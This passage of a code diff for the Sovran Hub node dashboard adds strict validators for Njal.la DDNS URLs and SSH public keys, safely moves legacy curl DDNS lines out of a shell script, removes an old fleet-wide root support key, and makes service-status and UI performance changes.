_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
|
||||
|
||||
|
||||
def _validate_ddns_url(url: str) -> str:
|
||||
"""Validate *url* as a safe DDNS update URL and return it normalised.
|
||||
|
||||
Rules:
|
||||
- Must be a valid URL parseable by urllib.parse.
|
||||
- Scheme must be ``https`` (case-insensitive).
|
||||
- No userinfo (credentials must not be embedded in the URL).
|
||||
- No fragment.
|
||||
- No control characters.
|
||||
- Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
|
||||
- Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
|
||||
- Port must be absent or the default HTTPS port 443.
|
||||
- No percent-encoded null bytes.
|
||||
|
||||
Raises ``ValueError`` with a safe (non-secret) message on failure.
|
||||
"""
|
||||
if not url:
|
||||
raise ValueError("DDNS URL must not be empty")
|
||||
if len(url) > _DDNS_URL_MAX_LEN:
|
||||
raise ValueError("DDNS URL exceeds maximum length")
|
||||
if _DDNS_CONTROL_RE.search(url):
|
||||
raise ValueError("DDNS URL contains control characters")
|
||||
try:
|
||||
parsed = urllib.parse.urlparse(url)
|
||||
except Exception:
|
||||
raise ValueError("DDNS URL could not be parsed")
|
||||
if parsed.scheme.lower() != "https":
|
||||
raise ValueError("DDNS URL must use the https scheme")
|
||||
if parsed.username or parsed.password:
|
||||
raise ValueError("DDNS URL must not contain credentials")
|
||||
if parsed.fragment:
|
||||
raise ValueError("DDNS URL must not contain a fragment")
|
||||
if parsed.port is not None and parsed.port != 443:
|
||||
raise ValueError("DDNS URL must use the default HTTPS port")
|
||||
hostname = parsed.hostname or ""
|
||||
if not hostname:
|
||||
raise ValueError("DDNS URL must contain a hostname")
|
||||
# Reject raw IP addresses
|
||||
try:
|
||||
ipaddress.ip_address(hostname)
|
||||
raise ValueError("DDNS URL hostname must not be a raw IP address")
|
||||
except ValueError as exc:
|
||||
if "raw IP" in str(exc):
|
||||
raise
|
||||
# Allowlist: only Njal.la
|
||||
if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
|
||||
raise ValueError(
|
||||
f"DDNS URL hostname is not an allowed Njal.la host "
|
||||
f"(got {hostname!r})"
|
||||
)
|
||||
if "%00" in url.lower():
|
||||
raise ValueError("DDNS URL must not contain encoded null bytes")
|
||||
# Reject any remaining $ expressions — after ${IP} substitution there
|
||||
# must be none. Callers that store ${IP} placeholder URLs must substitute
|
||||
# before calling this function.
|
||||
if "$" in url:
|
||||
raise ValueError("DDNS URL must not contain $ expressions")
|
||||
# Require the exact /update/ path used by Njal.la
|
||||
if parsed.path != "/update/":
|
||||
raise ValueError("DDNS URL path must be exactly /update/")
|
||||
return url
|
||||
|
||||
|
||||
# ── SSH public-key validation ─────────────────────────────────────────────────
|
||||
|
||||
_SSH_PUBKEY_ALGORITHMS = frozenset([
|
||||
"ssh-ed25519",
|
||||
"ecdsa-sha2-nistp256",
|
||||
"ecdsa-sha2-nistp384",
|
||||
"ecdsa-sha2-nistp521",
|
||||
"sk-ssh-ed25519@openssh.com",
|
||||
])
|
||||
|
||||
|
||||
def _validate_ssh_pubkey(key: str) -> str:
|
||||
"""Validate *key* as a single OpenSSH public key and return it normalised.
|
||||
|
||||
Accepts only single-line keys with a supported algorithm, valid base64
|
||||
payload, and an optional comment. Rejects options, multiple lines,
|
||||
control characters, and unsupported algorithms.
|
||||
|
||||
Raises ``ValueError`` with a safe message on failure.
|
||||
"""
|
||||
key = key.strip()
|
||||
if not key:
|
||||
raise ValueError("SSH public key must not be empty")
|
||||
if _DDNS_CONTROL_RE.search(key):
|
||||
raise ValueError("SSH public key contains control characters")
|
||||
if "\n" in key or "\r" in key:
|
||||
raise ValueError("SSH public key must be a single line")
|
||||
parts = key.split()
|
||||
if len(parts) < 2:
|
||||
raise ValueError("SSH public key is malformed")
|
||||
algo, b64 = parts[0], parts[1]
|
||||
if algo not in _SSH_PUBKEY_ALGORITHMS:
|
||||
raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
|
||||
try:
|
||||
decoded = base64.b64decode(b64, validate=True)
|
||||
except Exception:
|
||||
raise ValueError("SSH public key payload is not valid base64")
|
||||
if len(decoded) < 20:
|
||||
raise ValueError("SSH public key payload is too short")
|
||||
return key
|
||||
+539
-175
File diff suppressed because it is too large.
Load diff
@@ -1,5 +1,28 @@
|
||||
/* ── Service tile card (status-only) ─────────────────────────────── */
|
||||
|
||||
.dashboard-loading {
|
||||
min-height: 180px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.dashboard-loading-spinner {
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
border: 2px solid var(--border-color);
|
||||
border-top-color: var(--accent-color);
|
||||
border-radius: 50%;
|
||||
animation: dashboard-loading-spin 0.8s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes dashboard-loading-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.service-tile {
|
||||
width: 160px;
|
||||
min-height: 130px;
|
||||
|
||||
@@ -187,30 +187,39 @@ function showSecurityBanner() {
|
||||
// ── Init ──────────────────────────────────────────────────────────
|
||||
|
||||
async function init() {
|
||||
// Check onboarding status first — redirect to wizard if not complete
|
||||
// These lightweight requests are independent. Running them together avoids
|
||||
// making the dashboard wait through three serial network round-trips before
|
||||
// it can even start loading the service tiles.
|
||||
var onboardingStatus = null;
|
||||
var bannerData = null;
|
||||
var cfg;
|
||||
try {
|
||||
var onboardingStatus = await apiFetch("/api/onboarding/status");
|
||||
if (!onboardingStatus.complete) {
|
||||
window.location.href = "/onboarding";
|
||||
return;
|
||||
}
|
||||
var startupResults = await Promise.all([
|
||||
apiFetch("/api/onboarding/status").catch(function() { return null; }),
|
||||
apiFetch("/api/security/banner-status").catch(function() { return null; }),
|
||||
apiFetch("/api/config"),
|
||||
]);
|
||||
onboardingStatus = startupResults[0];
|
||||
bannerData = startupResults[1];
|
||||
cfg = startupResults[2];
|
||||
} catch (_) {
|
||||
// If we can't reach the endpoint, continue to normal dashboard
|
||||
// If config cannot be loaded, continue with the normal service fallback.
|
||||
cfg = null;
|
||||
}
|
||||
|
||||
if (onboardingStatus && !onboardingStatus.complete) {
|
||||
window.location.href = "/onboarding";
|
||||
return;
|
||||
}
|
||||
|
||||
// Show first-login security banner only for machines that went through onboarding
|
||||
// (legacy machines without the onboarding flag will never see this)
|
||||
try {
|
||||
var bannerData = await apiFetch("/api/security/banner-status");
|
||||
if (bannerData && bannerData.show) {
|
||||
showSecurityBanner();
|
||||
}
|
||||
} catch (_) {
|
||||
// Non-fatal — silently ignore
|
||||
if (bannerData && bannerData.show) {
|
||||
showSecurityBanner();
|
||||
}
|
||||
|
||||
try {
|
||||
var cfg = await apiFetch("/api/config");
|
||||
if (!cfg) throw new Error("Hub config unavailable");
|
||||
_currentRole = cfg.role || "server_plus_desktop";
|
||||
if (cfg.category_order) {
|
||||
for (var i = 0; i < cfg.category_order.length; i++) {
|
||||
|
||||
@@ -110,12 +110,26 @@ function renderSupportInactive() {
|
||||
'</div>',
|
||||
'<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
|
||||
'<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
|
||||
'<li>Our SSH key is added only to that restricted account</li>',
|
||||
'<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
|
||||
'<li>Wallet files are locked via access controls — not visible to support</li>',
|
||||
'<li>You control if and when wallet access is granted (time-limited)</li>',
|
||||
'<li>All session events are logged for your audit</li>',
|
||||
'<li>Access expires automatically after 24 hours</li>',
|
||||
'</ol></div>',
|
||||
'<div class="support-key-section">',
|
||||
'<label class="support-key-label" for="support-ssh-pubkey">',
|
||||
'<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
|
||||
'</label>',
|
||||
'<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
|
||||
'placeholder="ssh-ed25519 AAAA… support-session" ',
|
||||
'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
|
||||
'<p class="support-key-hint">',
|
||||
'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
|
||||
'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
'<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
|
||||
'<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
|
||||
'<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
|
||||
|
||||
async function enableSupport() {
|
||||
var btn = document.getElementById("btn-support-enable");
|
||||
var errEl = document.getElementById("support-key-error");
|
||||
var textarea = document.getElementById("support-ssh-pubkey");
|
||||
if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
|
||||
|
||||
var sshKey = textarea ? textarea.value.trim() : "";
|
||||
if (!sshKey) {
|
||||
if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
// Client-side pre-validation: key must start with a known algorithm prefix
|
||||
var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
|
||||
var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
|
||||
if (!hasValidPrefix) {
|
||||
if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
if (sshKey.indexOf("\n") !== -1) {
|
||||
if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
|
||||
if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
|
||||
try {
|
||||
await apiFetch("/api/support/enable", { method: "POST" });
|
||||
await apiFetch("/api/support/enable", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ ssh_public_key: sshKey }),
|
||||
});
|
||||
var status = await apiFetch("/api/support/status");
|
||||
_supportStatus = status;
|
||||
_supportEnabledAt = status.enabled_at;
|
||||
renderSupportActive(status);
|
||||
} catch (err) {
|
||||
if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
|
||||
alert("Failed to enable support access. Please try again.");
|
||||
var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
|
||||
if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
|
||||
else { alert(detail); }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,283 @@
|
||||
"""Sovran Hub — injectable support session operations.
|
||||
|
||||
Functions here handle legacy migration, root-key removal, and support-session
|
||||
expiry. All filesystem paths, clocks, and callback functions are injectable
|
||||
so that the test suite can exercise the exact production implementations with
|
||||
temporary files and mocks rather than maintaining separate copies.
|
||||
|
||||
All functions depend only on the Python standard library and the co-located
|
||||
``security_helpers`` module.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
import time as _time_module
|
||||
from typing import Callable
|
||||
|
||||
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
|
||||
#
|
||||
# Matches both forms written by old Hub versions:
|
||||
# curl [flags] https://njal.la/... (unquoted)
|
||||
# curl [flags] "https://njal.la/..." (quoted — historical form)
|
||||
#
|
||||
# Optional flags (in order): --silent, --max-time N, --fail
|
||||
#
|
||||
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
|
||||
# ${...} except the literal ${IP} placeholder, and any extra arguments.
|
||||
_LEGACY_NJALLA_CURL_RE = re.compile(
|
||||
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
||||
r'(?:'
|
||||
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
|
||||
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
|
||||
r')$'
|
||||
)
|
||||
|
||||
# The exact base64 blob of the historical fleet-wide root support key that
|
||||
# was shipped with old releases of Sovran_SystemsOS and must be removed from
|
||||
# /root/.ssh/authorized_keys on upgrade.
|
||||
LEGACY_ROOT_KEY_BLOB = (
|
||||
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
|
||||
)
|
||||
|
||||
|
||||
def remove_legacy_root_key(
|
||||
authorized_keys_path: str,
|
||||
target_blob: str,
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> bool:
|
||||
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
|
||||
|
||||
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
|
||||
algorithm prefix or comment field. All other keys, blank lines, and comment
|
||||
lines are preserved unchanged. The file is written back atomically.
|
||||
|
||||
Args:
|
||||
authorized_keys_path: Path to the authorized_keys file to modify.
|
||||
target_blob: The exact base64 key blob to remove. Only lines whose
|
||||
second whitespace-delimited field matches this value are removed;
|
||||
no substring or comment matching is performed.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. The full key blob is **never** passed to this callback.
|
||||
|
||||
Returns:
|
||||
``True`` if the file was modified (at least one line removed),
|
||||
``False`` if unchanged or absent.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(authorized_keys_path, "r") as f:
|
||||
lines = f.readlines()
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
kept: list[str] = []
|
||||
removed_count = 0
|
||||
for line in lines:
|
||||
stripped = line.rstrip("\n")
|
||||
parts = stripped.split()
|
||||
# Key lines have at least two space-separated fields: algorithm + blob.
|
||||
# Remove only lines whose blob (parts[1]) matches exactly — no
|
||||
# substring matching, no comment matching.
|
||||
if len(parts) >= 2 and parts[1] == target_blob:
|
||||
removed_count += 1
|
||||
# Audit without logging the key blob itself.
|
||||
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
|
||||
else:
|
||||
kept.append(line)
|
||||
|
||||
if removed_count == 0:
|
||||
return False
|
||||
|
||||
# Atomic write: mkstemp in same directory + os.replace
|
||||
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
|
||||
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
|
||||
try:
|
||||
with os.fdopen(fd, "w") as f:
|
||||
f.writelines(kept)
|
||||
os.chmod(tmp, 0o600)
|
||||
os.replace(tmp, authorized_keys_path)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return False
|
||||
|
||||
_audit(
|
||||
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
|
||||
f"removed={removed_count} keys_retained={len(kept)}",
|
||||
)
|
||||
return True
|
||||
|
||||
|
||||
def migrate_legacy_njalla_script(
|
||||
script_path: str,
|
||||
validate_fn: Callable[[str], str],
|
||||
save_fn: Callable[[list[str]], None],
|
||||
load_fn: Callable[[], list[str]],
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> None:
|
||||
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
|
||||
|
||||
Reads the script **without** executing or sourcing it. Parses only the
|
||||
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||
versions. Any other line is silently discarded — never executed or logged
|
||||
(it may contain secret tokens).
|
||||
|
||||
On successful persistence the script is archived with mode ``0o000`` so
|
||||
it can no longer be executed. If persistence fails the script is left
|
||||
**untouched**.
|
||||
|
||||
Args:
|
||||
script_path: Path to the legacy njalla.sh file.
|
||||
validate_fn: URL validation function; raises ``ValueError`` on invalid
|
||||
URLs. Callers must substitute the ``${IP}`` placeholder before
|
||||
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
|
||||
to the validator.
|
||||
save_fn: Callable that atomically writes a ``list[str]`` URL list to
|
||||
the persistent JSON store.
|
||||
load_fn: Callable that returns the current ``list[str]`` URL list from
|
||||
the persistent store.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. Token-bearing URLs are **never** passed to this callback.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(script_path, "r") as f:
|
||||
content = f.read()
|
||||
except FileNotFoundError:
|
||||
return
|
||||
except OSError:
|
||||
return
|
||||
|
||||
existing_urls = load_fn()
|
||||
|
||||
new_urls: list[str] = []
|
||||
for raw_line in content.splitlines():
|
||||
line = raw_line.strip()
|
||||
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
||||
continue
|
||||
m = _LEGACY_NJALLA_CURL_RE.match(line)
|
||||
if not m:
|
||||
# Unrecognised line — discard silently, do NOT log (may contain tokens)
|
||||
continue
|
||||
# group(1) = quoted form, group(2) = unquoted form
|
||||
raw_url = m.group(1) or m.group(2)
|
||||
# Substitute placeholder so host/scheme/path validation works
|
||||
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
||||
try:
|
||||
validate_fn(url_to_validate)
|
||||
except ValueError:
|
||||
continue # Silently discard invalid/non-Njal.la URLs
|
||||
if raw_url not in existing_urls and raw_url not in new_urls:
|
||||
new_urls.append(raw_url)
|
||||
|
||||
if new_urls:
|
||||
combined = existing_urls + new_urls
|
||||
try:
|
||||
save_fn(combined)
|
||||
except Exception:
|
||||
# Persistence failed — leave the script untouched, return without
|
||||
# archiving so the migration can be retried.
|
||||
return
|
||||
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
|
||||
|
||||
# Archive: remove all permission bits so cron/any mechanism cannot run it
|
||||
try:
|
||||
os.chmod(script_path, 0o000)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def expire_if_stale(
|
||||
status_file: str,
|
||||
*,
|
||||
clock_fn: Callable[[], float] | None = None,
|
||||
disable_fn: Callable[[], bool] | None = None,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
session_id: str | None = None,
|
||||
expected_expiry: float | None = None,
|
||||
max_session_seconds: float = 86400.0,
|
||||
) -> bool:
|
||||
"""Expire a support session if its deadline has passed.
|
||||
|
||||
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
|
||||
provided (used by the server-side timer callback), the stored session
|
||||
metadata is compared field-by-field. A mismatch means a replacement
|
||||
session has been started after this timer was scheduled; in that case the
|
||||
function returns ``False`` without touching anything.
|
||||
|
||||
Args:
|
||||
status_file: Path to the JSON session metadata file.
|
||||
clock_fn: Callable returning current Unix time (default: ``time.time``).
|
||||
disable_fn: Callable that performs the full disable sequence — removes
|
||||
the support key, removes wallet-unlock metadata, restores deny
|
||||
ACLs, clears session metadata, and audits the event. If ``None``,
|
||||
expiry is detected but no action is taken (useful for tests that
|
||||
want to inspect detection only).
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging.
|
||||
session_id: If given, expiry is skipped unless the stored
|
||||
``session_id`` field matches exactly.
|
||||
expected_expiry: If given, expiry is skipped unless the stored
|
||||
``expires_at`` field matches exactly.
|
||||
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
|
||||
when ``expires_at`` is absent.
|
||||
|
||||
Returns:
|
||||
``True`` if a session was expired, ``False`` otherwise.
|
||||
"""
|
||||
_now = clock_fn if clock_fn is not None else _time_module.time
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
def _disable() -> bool:
|
||||
return disable_fn() if disable_fn is not None else True
|
||||
|
||||
try:
|
||||
with open(status_file, "r") as f:
|
||||
info = json.load(f)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
return False
|
||||
|
||||
# Stale-timer guard
|
||||
if session_id is not None and info.get("session_id") != session_id:
|
||||
return False
|
||||
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
|
||||
return False
|
||||
|
||||
expires_at = info.get("expires_at")
|
||||
now = _now()
|
||||
|
||||
if expires_at is None:
|
||||
enabled_at = info.get("enabled_at", 0)
|
||||
if enabled_at and (now - enabled_at) > max_session_seconds:
|
||||
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
|
||||
_disable()
|
||||
return True
|
||||
return False
|
||||
|
||||
if now >= expires_at:
|
||||
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
|
||||
_disable()
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -18,6 +18,45 @@ def is_active(unit: str, scope: Literal["system", "user"] = "system") -> str:
|
||||
return _run(["systemctl", f"--{scope}", "is-active", unit]) or "unknown"
|
||||
|
||||
|
||||
def active_states(units_by_scope: dict[str, list[str]], timeout: float = 5) -> dict[tuple[str, str], str]:
|
||||
"""Return active states for many units with one systemctl call per scope.
|
||||
|
||||
The dashboard polls service state frequently. Spawning one ``systemctl``
|
||||
process per tile makes a slow or unavailable system bus multiply the delay
|
||||
(and can make the first dashboard render wait through many timeouts). The
|
||||
``is-active`` command accepts multiple units, so batch them and cap the
|
||||
whole batch at a single timeout.
|
||||
"""
|
||||
states: dict[tuple[str, str], str] = {}
|
||||
valid_scopes = {"system", "user"}
|
||||
|
||||
for scope, units in units_by_scope.items():
|
||||
unique_units = list(dict.fromkeys(unit for unit in units if unit))
|
||||
if not unique_units:
|
||||
continue
|
||||
if scope not in valid_scopes:
|
||||
for unit in unique_units:
|
||||
states[(scope, unit)] = "unknown"
|
||||
continue
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["systemctl", f"--{scope}", "is-active", "--", *unique_units],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout,
|
||||
)
|
||||
lines = result.stdout.splitlines()
|
||||
for index, unit in enumerate(unique_units):
|
||||
state = lines[index].strip() if index < len(lines) else ""
|
||||
states[(scope, unit)] = state or "unknown"
|
||||
except Exception:
|
||||
for unit in unique_units:
|
||||
states[(scope, unit)] = "unknown"
|
||||
|
||||
return states
|
||||
|
||||
|
||||
def is_enabled(unit: str, scope: Literal["system", "user"] = "system") -> str:
|
||||
return _run(["systemctl", f"--{scope}", "is-enabled", unit]) or "unknown"
|
||||
|
||||
|
||||
@@ -55,7 +55,12 @@
|
||||
<div id="sidebar-support"></div>
|
||||
<div id="sidebar-features"></div>
|
||||
</aside>
|
||||
<div id="tiles-area"></div>
|
||||
<div id="tiles-area">
|
||||
<div class="dashboard-loading" role="status" aria-live="polite">
|
||||
<span class="dashboard-loading-spinner" aria-hidden="true"></span>
|
||||
<span>Loading service status…</span>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<!-- Update modal -->
|
||||
|
||||
@@ -5,10 +5,10 @@
|
||||
"bitcoind.service": "27.1.0",
|
||||
"electrs.service": "0.10.6",
|
||||
"lnd.service": "0.18.0",
|
||||
"rtl.service": "0.15.2",
|
||||
"btcpayserver.service": "2.0.0",
|
||||
"rtl.service": "0.15.8",
|
||||
"btcpayserver.service": "2.4.2",
|
||||
"albyhub.service": "1.8.0",
|
||||
"mempool.service": "3.0.0",
|
||||
"mempool.service": "3.2.1",
|
||||
"matrix-synapse.service": "1.115.0",
|
||||
"livekit.service": "1.5.2",
|
||||
"vaultwarden.service": "1.32.0",
|
||||
|
||||
+3
-6
@@ -192,12 +192,9 @@ backup /etc/nix-bitcoin-secrets/ localhost/
|
||||
};
|
||||
|
||||
# ── Cron ───────────────────────────────────────────────────
|
||||
services.cron = {
|
||||
enable = true;
|
||||
systemCronJobs = [
|
||||
"*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
|
||||
];
|
||||
};
|
||||
# The legacy njalla.sh root cron job has been replaced by the systemd timer
|
||||
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
|
||||
# retained so that rsnapshot and other module-defined cron jobs continue to run.
|
||||
|
||||
# ── Tor ────────────────────────────────────────────────────
|
||||
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
|
||||
|
||||
@@ -246,6 +246,8 @@ in {
|
||||
|
||||
systemd.services.btcpayserver = let
|
||||
nbExplorerUrl = "http://${nbLib.addressWithPort cfg.nbxplorer.address cfg.nbxplorer.port}/";
|
||||
nbExplorerCookie =
|
||||
"${cfg.nbxplorer.dataDir}/${cfg.bitcoind.makeNetworkName "Main" "RegTest"}/.cookie";
|
||||
configFile = builtins.toFile "btcpayserver-config" (
|
||||
''
|
||||
network=${cfg.bitcoind.network}
|
||||
@@ -253,6 +255,7 @@ in {
|
||||
port=${toString cfg.btcpayserver.port}
|
||||
socksendpoint=${config.nix-bitcoin.torClientAddressWithPort}
|
||||
btcexplorerurl=${nbExplorerUrl}
|
||||
btcexplorercookiefile=${nbExplorerCookie}
|
||||
explorer.postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
|
||||
postgres=User ID=${cfg.btcpayserver.user};Host=/run/postgresql;Database=btcpayserver
|
||||
'' + optionalString (cfg.btcpayserver.lightningBackend == "lnd")
|
||||
@@ -273,6 +276,7 @@ in {
|
||||
${cfg.btcpayserver.package}/bin/btcpayserver --conf=${configFile} \
|
||||
--datadir='${cfg.btcpayserver.dataDir}'
|
||||
'';
|
||||
WorkingDirectory = "${cfg.btcpayserver.package}/lib/btcpayserver";
|
||||
RuntimeDirectory = "btcpayserver";
|
||||
StateDirectory = "btcpayserver";
|
||||
User = cfg.btcpayserver.user;
|
||||
|
||||
@@ -101,33 +101,33 @@ let
|
||||
index = 1;
|
||||
lnNode = "lnd";
|
||||
lnImplementation = "LND";
|
||||
Authentication = {
|
||||
authentication = {
|
||||
macaroonPath = "${cfg.dataDir}/macaroons";
|
||||
swapMacaroonPath = if cfg.nodes.lnd.loop then "${cfg.dataDir}/loop-macaroons" else "";
|
||||
boltzMacaroonPath = "";
|
||||
};
|
||||
Settings = {
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
channelBackupPath = "${cfg.dataDir}/backup";
|
||||
logLevel = "INFO";
|
||||
lnServerUrl = "https://${lnd.restAddress}:${toString lnd.restPort}";
|
||||
swapServerUrl = if cfg.nodes.lnd.loop then "https://127.0.0.1:8081" else "";
|
||||
boltzServerUrl = "";
|
||||
fiatConversion = cfg.extraCurrency != null;
|
||||
unannouncedChannels = true;
|
||||
} // optionalAttrs (cfg.extraCurrency != null) {
|
||||
currencyUnit = cfg.extraCurrency;
|
||||
};
|
||||
} // optionalAttrs cfg.nodes.lnd.loop {
|
||||
swapServerUrl = "https://localhost:8081";
|
||||
boltzServerUrl = "";
|
||||
}) ++ optional cfg.nodes.clightning.enable {
|
||||
index = 2;
|
||||
lnNode = "clightning";
|
||||
lnImplementation = "CLN";
|
||||
Authentication = {
|
||||
authentication = {
|
||||
runePath = runePath;
|
||||
};
|
||||
Settings = {
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
|
||||
+115
-23
@@ -1,32 +1,124 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
{
|
||||
# ── Ensure njalla directory and base script exist on every build ──
|
||||
# ── Ensure njalla directory exists on every build ────────────────────────
|
||||
systemd.tmpfiles.rules = [
|
||||
"d /var/lib/njalla 0750 root root -"
|
||||
];
|
||||
|
||||
# ── Create base njalla.sh if it doesn't exist yet ────────────
|
||||
systemd.services.njalla-init = {
|
||||
description = "Initialize Njal.la DDNS script if missing";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
unitConfig = {
|
||||
ConditionPathExists = "!/var/lib/njalla/njalla.sh";
|
||||
};
|
||||
script = ''
|
||||
cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
|
||||
#!/usr/bin/env bash
|
||||
IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
|
||||
|
||||
## Add DDNS entries below — one curl per line
|
||||
## Managed via Sovran Hub web interface
|
||||
SCRIPT
|
||||
|
||||
chmod 700 /var/lib/njalla/njalla.sh
|
||||
'';
|
||||
# ── Install the shared validation helper so the DDNS runner can import it ─
|
||||
# The exact same _validate_ddns_url() function used by the Hub web application
|
||||
# is installed here as a read-only system file. The DDNS runner imports it
|
||||
# directly so the two code paths share one validator — no weaker inline copy.
|
||||
environment.etc."sovran/security_helpers.py" = {
|
||||
source = ../../app/sovran_systemsos_web/security_helpers.py;
|
||||
mode = "0444";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
|
||||
# ── Safe DDNS update service ─────────────────────────────────────────────
|
||||
# Reads DDNS update URLs from the JSON store written by the Hub API and
|
||||
# invokes curl directly — no shell interpolation, no script execution.
|
||||
